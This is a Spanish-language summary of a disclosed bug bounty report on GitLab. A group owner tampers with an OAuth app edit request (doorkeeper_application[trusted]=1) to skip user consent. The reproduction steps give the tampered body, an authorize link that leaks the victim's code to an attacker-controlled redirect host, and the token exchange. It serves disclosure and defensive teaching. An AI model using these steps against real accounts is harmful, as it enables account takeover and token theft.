Reports
ALTA[OAUTH Y SESIONES]#1148364

GitLab: aplicaciones OAuth de grupo marcadas como "de confianza" saltaban el consentimiento del usuario

Un dueño de grupo en GitLab podía manipular la edición de una aplicación OAuth para marcarla como "de confianza", un ajuste reservado a administradores, y obtener un token con alcance api de cualquier usuario que abriera un enlace.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

GitLab permite crear aplicaciones OAuth a distintos niveles: de instancia, de grupo y de usuario. Las aplicaciones marcadas como "de confianza" (trusted) autorizan automáticamente el flujo OAuth sin mostrar al usuario la pantalla de consentimiento. Ese ajuste está pensado solo para aplicaciones de instancia creadas por un administrador.

El investigador descubrió que, al editar una aplicación OAuth creada a nivel de grupo, se podía añadir a mano el parámetro que marca la aplicación como "de confianza" aunque la interfaz no ofreciera esa opción a un dueño de grupo. El servidor aceptaba el valor manipulado. El resultado es una aplicación de confianza bajo el control del atacante que, al saltarse la pantalla de consentimiento (y con ello el control anti-CSRF del flujo de autorización), obtiene el código de autorización de la víctima sin su aprobación y permite acuñar un token de acceso con alcance api en su nombre.

Pasos de reproducción

  1. Iniciar sesión como un usuario cualquiera y crear un grupo.
  2. Crear una aplicación en Settings > Applications, marcando el scope api.
  3. Abrir la aplicación recién creada y pulsar Edit. Interceptar la petición que se envía al pulsar Save application y añadir el siguiente fragmento al cuerpo, que fuerza el valor trusted a 1:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&

La aplicación queda marcada como de confianza, un estado que solo debería poder fijar un administrador de instancia.

  1. Hacer que la víctima abra un enlace de autorización con el client_id de esa aplicación (por ejemplo, incrustándolo en una etiqueta <img>):
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<atacante>.com&client_id=<client_id>&scope=api

Al ser una aplicación de confianza, GitLab no muestra la pantalla de consentimiento y redirige directamente con un código de autorización.

  1. Capturar el código de autorización de la redirección hacia el redirect_uri controlado por el atacante.
  1. Intercambiar el código por un token de acceso en el endpoint de token:
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
Content-Length: 223

code=<code>&client_id=<client_id>&client_secret=<client_secret>

La respuesta devuelve el token de acceso con alcance api:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

access_token=[REDACTADO]&scope=api&token_type=Bearer

Impacto

Un atacante que consiguiera que la víctima abriera el enlace de autorización (algo que puede ocurrir de forma silenciosa al cargar una imagen) obtenía un token de acceso con alcance api sobre la cuenta de esa víctima, sin su consentimiento. Con ese token podía actuar en nombre del usuario a través de la API de GitLab. El propio investigador apuntó que planeaba comprobar si era posible ampliar los alcances del token.

Remediación

Según el comportamiento esperado que señala el reporte, un dueño de grupo no debería poder marcar una aplicación como "de confianza" al crearla o editarla: esa capacidad ha de quedar restringida a los administradores de instancia. El reporte fue clasificado como severidad alta, resuelto y recompensado por GitLab (importe no publicado).

Qué aprender de este caso

  • En formularios que editan permisos o flags sensibles, revisa si el servidor acepta campos que la interfaz nunca muestra al usuario de ese rol: aquí bastó añadir a mano doorkeeper_application[trusted]=1 para asignarse un atributo reservado a administradores (mass assignment / parámetro sobrante).
  • Cuando un parámetro llega duplicado (trusted=0 y trusted=1 en la misma petición), conviene saber con qué valor se queda tu framework: enviar ambos es una táctica para forzar el valor deseado si el binding toma el último.
  • Las aplicaciones OAuth "de confianza" que saltan la pantalla de consentimiento son un multiplicador de riesgo: si cualquier usuario puede crear una, el control anti-CSRF del flujo de autorización deja de proteger. Limita quién puede marcar aplicaciones como trusted al nivel de administración más alto.
  • Al auditar OAuth, comprueba qué ocurre con redirect_uri hacia dominios externos combinado con aplicaciones trusted: una autorización sin consentimiento más una redirección fuera del dominio permite exfiltrar el código de autorización.